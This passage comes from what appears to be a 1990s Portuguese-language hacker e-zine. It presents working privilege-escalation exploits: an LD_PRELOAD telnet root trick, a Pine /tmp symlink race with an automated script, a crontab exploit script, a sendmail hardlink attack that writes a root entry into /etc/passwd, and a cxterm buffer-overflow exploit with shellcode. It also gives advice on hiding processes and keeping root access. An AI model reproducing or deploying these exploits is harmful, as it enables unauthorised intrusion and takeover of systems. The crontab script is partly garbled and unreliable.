comando 'pwd'. Veja o ex. completo abaixo: rwx:~/hack$ ls Makefile getpass.c openlog.c rwx:~/hack$ make all gcc -o getpass.o -c getpass.c -fPIC gcc -o openlog.o -c openlog.c -fPIC ld -shared -o libroot.so getpass.o openlog.o chmod 755 ./libroot.so rwx:~/hack$ make clean rwx:~/hack$ ftp ftp> open vitima.com ... ftp> bin ftp> put libroot.so ftp> pwd /home/rwx ftp> quit Aki agora vc jah colocou o arquivo 'libroot.so' no diretorio /home/rwx, entao vc volta akela explicacao de definir/exportar variaveis, e comeca a invadir efetivamente o sistema: rwx:~/hack$ telnet telnet> environ define LD_PRELOAD /home/rwx/libroot.so telnet> environ export LD_PRELOAD telnet> open vitima.com Apos isso deve-se estabelecer uma conexao TELNET normal, ateh o ponto que vc cai num SHELL root, e recebe a mensagem: Bem-vindo(a) ao maravilhoso mundo do uid = 0 squidge Faca entao o seguinte: bash# whoami root bash# Lembre-se, esse Shell ROOT soh dura 60 segundos (podendo variar alguns segundos dependendo do clock do sistema), entao vc deve jah ter em mente, ou no buffer (pra mim tanto faz, minha mente eh um um buffer, hehe), algum modo de assegurar seu futuro acesso a esta makina 'vitima', como por ex. criar um usuario com UID = 0 no /etc/passwd (isso eh loucura, nao faca isso, a menos q queira ser descoberto), ou algo mais 'smart' como copiar pro seu diretorio um shell (/bin/sh) com setuid root... Mas aih eh com vc, e jah dah pra se virar mto bem... And that the power goes with ya!!! /-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/ Exploits: ========= PINEBUG. ======== By SkyNET 20/07/97 Hi d00dz, Nesta primeira materia de exploits,resolvi escrever sobre o PineBug.O bug e muito simples de ser entendido,a nao ser que voce nao saiba nem o basico do Unix! Nesse caso eu te aconselho a nao perder tempo aqui. :-) COMO EXPLORAR O BUG. ==================== Pra comeco de conversa: 1 -Voce tem que ter conta no sistema para fazer isso,nao obrigatoriamente uma SHELL, mas tem que ter uma conta pra pelo menos executar o script. Se o Admin restringiu seu acesso,colocando algum menuzinho idiota, como no caso da Elogica, voce pode executar o Script pelo ~/.foward. Nesse caso procure no /etc/passwd um usuario que tenha acesso ao shell, sera a vitima ideal :-) hehe... 2 -Observe qual usuario no sistema usa o Pine. Como saber isso? BAh... veja se existe algum arquivo .pinerc no diretorio HOME dele. 3 -Certifique-se de que a versao do Pine usada no sistema e anterior a 3.95 e se existe mensagem no spool da vitima. 4 -Nao seja tao imbecil ao ponto de deixar o script rolando em background com um nome "suspeito", aconselho a voce renomea-lo pra um nome de um programa ja conhecido,ja que o Unix distingue os caracteres minusculos e maiusculos. CONSEQUENCIAS: ============= Dribla a permicao -w dos diretorios permitindo que qualquer usuario crie ou altere um arquivo no diretorio do outro. EXPLICANDO O BUG. ================ Primeiramente, quando um usuario executa o Pine, este cria um arquivo "chave" no diretorio /tmp. Este arquivo tem um nome estranho,tipo ".341.9103" cada usuario tera o seu proprio numero! Obs:Se nao houver mensagem no spool o pine nao criara o arquivo!! Em posse desse numero, ja temos meio caminho andado. O que faremos sera simplesmente colocar o proprio arquivo CHAVE com um link simbolico para o arquivo desejado, ou seja quando ele entrar novamente no PINE, este ira criar a chave com permicao write p/ ALL e ao mesmo tempo o arquivo a ela ligado! hehehe facil, han? ;-) Vejamos o melhor o problema. Vamos supor que Eu(skynet) queira entrar na conta de "victim" sem usar senha! Isso e possivel? Pra muitos lamerz que frenquenta o #hackers tenho certeza que nao. Mas o que vamos fazer?!Colocar um .rhosts no HOME dele! HACKEANDO ========= cyberdyne:/tmp$ ls -al total 3 drwxrwxrwt 5 root root 2048 Jul 20 06:02 . drwxr-xr-x 18 root root 1024 Jul 20 01:00 .. -rw-rw-rw- 1 victim users 3 Jul 20 06:02 .341.9103 cyberdine:/tmp$ K00l! Repare o arquivo .341.9103, isso significa que o user victim ta executando o pine, nele esta contido o seu PID, e o que vai nos interessar de imediato sera APENAS o nome desse arquivo! Ao sair do Pine o arquivo sera apagado imediatamente. E a hora de agir! cyberdine:/tmp$ ln -s ~victim/.rhosts .341.9103 Obs: Se tentar fazer isso em versoes acima de 3.95, o pine reconhecera o link ja existente no diretorio, avisara o cara que existe, tornando a mensagem Read Only, e vc sera desmascarado!. TENHA CUIDADO! hehehe..agora e so esperar ele entrar novamente e o arquivo sera criado. Mas como saber se ele ja entrou? E facil. cyberdine:/tmp$ ls -al total 3 drwxrwxrwt 5 root root 2048 Jul 20 06:08 . drwxr-xr-x 18 root root 1024 Jul 20 01:00 .. lrwxrwxrwx 1 skynet users 20 Jul 20 06:08 .341.9103 -> /home/victim/.rhosts cyberdine:/tmp$ more .341.9103 206 cyberdine:/tmp$ Repare bem esse numero(206), isso significa que victim executou o pine e criou a chave junto com o arquivo(rw)!! cyberdine:/tmp$ echo "localhost skynet" >~victim/.rhosts cyberdine:/tmp$ whoami skynet cyberdine:/tmp$ rlogin -l victim localhost Welcome to Linux 2.0.0 cyberdine:~$ whoami victim cyberdine:~$ E o ROOT ?!?! Como eu pego?? Existem VARIAS saidas,uma delas e forca-lo a copiar um shell com setuid root. Ex: cyberdine:~$ echo "cp /bin/sh ~/.hack.sh" >~root/.bash_profile cyberdine:~$ echo "chmod 4777 ~/.hack.sh" >>~root/.bash_profile K00l! Agora e so esperar ele entrar no sistema e... cyberdine:~$ ~root/.hack.sh cyberdine:~# whoami root cyberdine:~# NOTA: ==== Evidentemente voce vai perder muito tempo esperando que o cara execute o pine 2x, se e que ele vai executar! Portanto aconselho a usar script abaixo! Embora correndo serios riscos de ser pego (isso dependera de sua malicia) ele poupara todo esse trabalho! USANDO O SCRIPT ================ Nao ha o que explicar aqui, se vc nao entendeu o que foi explicado acima certamente nao entendera o script e nao merece usa-lo. Compre um bom livro de Unix ou comece a ler textos pela Internet. :-) No exemplo abaixo alterei o nome do script pra o nome de um editor bastante conhecido, a unica diferenca ta na inicial maiuscula. Uma maneira de evitar chamar atencao quando alguem pedir a listagem dos processos na maquina. cyberdine:~$ mv pinebug.sh Joe cyberdine:~$ Joe victim ~victim/.rhosts >~/.#.log & [1] 293 cyberdine:~$ Obs: O direcionamento pra um arquivo log e apenas opcional, para mante-lo informado da situacao.Aconselho a tirar todas as permicoes not-user desse arquivo, evitando que algum xereta metido a merda possa ler. Agora va dormir e depois acorde pra ver o log ;-) Espero que tenham gostado e lembrem-se: "Nao seja um lamer e saia por ai contando as coisas pra qualquer um, compartilhe-as com alguem de sua confianca" Cya, dude. //------------------------------CORTE AQUI -------------------------------// #!/bin/sh argumentos=0 if [ $# -eq $argumentos ] then echo "Use: $0 username path/file_to_create & " exit fi username=$1 file=$2 #MODIFIQUE AQUI: text='blablablabla' usr=/usr/bin/users pineprog=pine # date echo "- Verificando se $1 fez o login " echo "- Aguarde..." # entrada=0 entro=0 until [ $entro -ne $entrada ] do for nome in `$usr` do if [ $nome = $1 ] then entro=1 fi done done date echo "- Ok, $username ja entrou no sistema." echo "- Agora vamos esperar que $1 execute o Pine e leia a mensagem. " noexecuto=0 executo=0 until [ $executo -ne $noexecuto ] do for executando in `w $username` do if [ $executando = $pineprog ] then date echo '- OK ' $1 ' esta executando o ' $pineprog '.' executo=1 fi done done echo "- Agora vamos pegar o arquivo lock de $username no diretorio /tmp" #Colocamos o conteudo do arquivo lock gerado durante a leitura da mensagem #direcionando para temp1 e temp2 ls -al /tmp | grep $username > temp1 cat temp1 | grep rw-rw-rw- > temp2 #Captura a chave e atribui seu nome a variavel $lockfile lockfile=`awk '{print $9}' temp2` echo " Apagando os arquivos temporarios... " rm temp1 rm temp2 echo "> Username $username" echo "> Lockfile $lockfile" echo echo "- OK, vamos esperar que $username " echo " saia do $pineprog " cd /tmp while [ -s $lockfile ] do sleep 0 done cd date echo "- OK $username saiu do $pineprog .. para linkar $lockfile " cd /tmp #linkando a chave com o arquivo escolhido ln -s $file $lockfile echo "- $lockfile esta linkado " cd echo "- $username Agora espere que $username retorne ao pine para criar" echo " $file " echo "- Aguardando $username retornar ao Pine... " noexecuto=0 executo=0 until [ $executo -ne $noexecuto ] do for executando in `w $username ` do if [ $executando = $pineprog ] then date echo '- OK ' $username ' esta rodando o ' $pineprog executo=1 fi done done echo "- Inserindo o texto..." cd /tmp echo $text > $lockfile echo "- Deletando $lockfile ... " rm $lockfile cd echo "hehehe.. veja o $file no diretorio dele! ;-)" /-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/ CRONTAB ======= auth 97 Esse e' um exploit nao muito conhecido pela galera, por isso,aproveitando espaco,e informacao,colocarei esse problema que curte testar seus ultimos bugs da hora , esse e' meio antigo mais atinge sistemas bem protegidos, e feitos "para aguentar tudo". Originalmente feito por kmem, alterado e remanejado por auth. sistemas atingidos: OSF/1, AIX 3.2.5, Digital UNIX (wow!) uso: nome #!/bin/sh if [ $# -ne '2' ]; then echo "usage: $0 " exit fi bla=$1 ble=$2 export bla UNAME=`uname` GIRLIES="1.awk aix.sed myedit.sh myedit.c .rwx-tmp1" #SETUP the awk script cat >1.awk <aix.sed <myedit.sh <.rwx-tmp1 sed -f aix.sed .rwx-tmp1 > $ble elif [ $UNAME = "OSF1" ]; then #FOR DIGITAL UNIX 3.X or higher machines uncomment these 2 lines crontab -e 2>.rwx-tmp1 awk -f 1.awk .rwx-tmp1 >$ble # FOR PRE DIGITAL UNIX 3.X machines uncomment this line #crontab -l 2>&1 > $ble else echo "Sem essa cara, cade o SO ? acho q voce nao leu direito" echo "fuck,fuck,fuck" exit fi echo "wow ! $ble" echo "lookit!" echo "rwx" #cleanup our mess crontab -r VISUAL=$oldvis EDITOR=$oldedit bla='' ble='' export bla export ble export VISUAL export EDITOR rm -f $GIRLIES /-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/ SENDMAIL 8.8.4 ============== auth 97 Vamo detona com a ajuda do hardlink! :) Esse problema e' vc ativar um hardlink entre o passwd com o dead.letter, O sendmail e' rodado pelo root, ou seja , oque voce executar por ele,voce conseguira ele como root . Ou seja , ai vai um exemplo de como exploitar isso, e ainda de quebra, pegar root no provedor. :) Voce tem que ter shell la!! Testado e aprovado por auth em algum server do Brasil com sendmail 8.8.4. rwx$: ln /etc/passwd /var/tmp/dead.letter rwx$: exit depois, basta telnetiar para o sendmail do provedor (25). mail from: root@rwx.org "nao eh necessario ser real" Sender OK rcpt to: root@rwx.org "nao eh necessario ser real" Recepient OK data rwx::0:0:chmod rocks:/:/bin/bash . Message Accepted quit pronto, ele ira criar o usuario rwx como superuser. simples e eficaz. :) SOLUCAO .... Bom, nao consegui achar uma solucao 'plausivel' para esta ocasiao,ou seja como sairam novas versoes de sendmail, so' troque por versoes mais novas. /-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/ CXTERM ====== n3trunn3r Esse exploit funciona nas ultimas versoes do linux Slackware , e consegue obter acesso root atraves de uma falha no arquivo /usr/X11R6/bin/cxterm que se estiver com o atributo +s(suid) vai funcionar... ----------------------------//---------------------------------- #include #include #include #include #define CXTERM_PATH "/usr/X11R6/bin/cxterm" #define BUFFER_SIZE 1024 #define DEFAULT_OFFSET 50 #define NOP_SIZE 1 char nop[] = "\x90"; char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main(int argc,char **argv) { char *buff = NULL; unsigned long *addr_ptr = NULL; char *ptr = NULL; int i,OffSet = DEFAULT_OFFSET; if (argc>1) OffSet = atoi(argv[1]); buff = malloc(2048); if(!buff) { printf("Buy more RAM!\n"); exit(0); } ptr = buff; for (i = 0; i <= BUFFER_SIZE - strlen(shellcode) - NOP_SIZE; i+=NOP_SIZE) { memcpy (ptr,nop,NOP_SIZE); ptr+=NOP_SIZE; } for(i=0;i < strlen(shellcode);i++) *(ptr++) = shellcode[i]; addr_ptr = (long *)ptr; for(i=0;i < (8/4);i++) *(addr_ptr++) = get_sp() + OffSet; ptr = (char *)addr_ptr; *ptr = 0; (void) fprintf(stderr, "This bug is discovered by Ming Zhang (mzhang@softcom.net)\n"); execl(CXTERM_PATH, "cxterm", "-xrm",buff, NULL); } /-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/ E-MAILS ======= Bom, essa e' a primeira edicao, por isso nao temos email algum... hehe Espero que isso mude. :)) /-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/ END === Se Deus nos ajudar, e se recebermos muitos emails ai, vai ter proxima edicao, hehehe... Proxima edicao, vamos publicar algo de NT, de sun, e ate de MAC... :)) falo... auth /-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/-#*/ -END-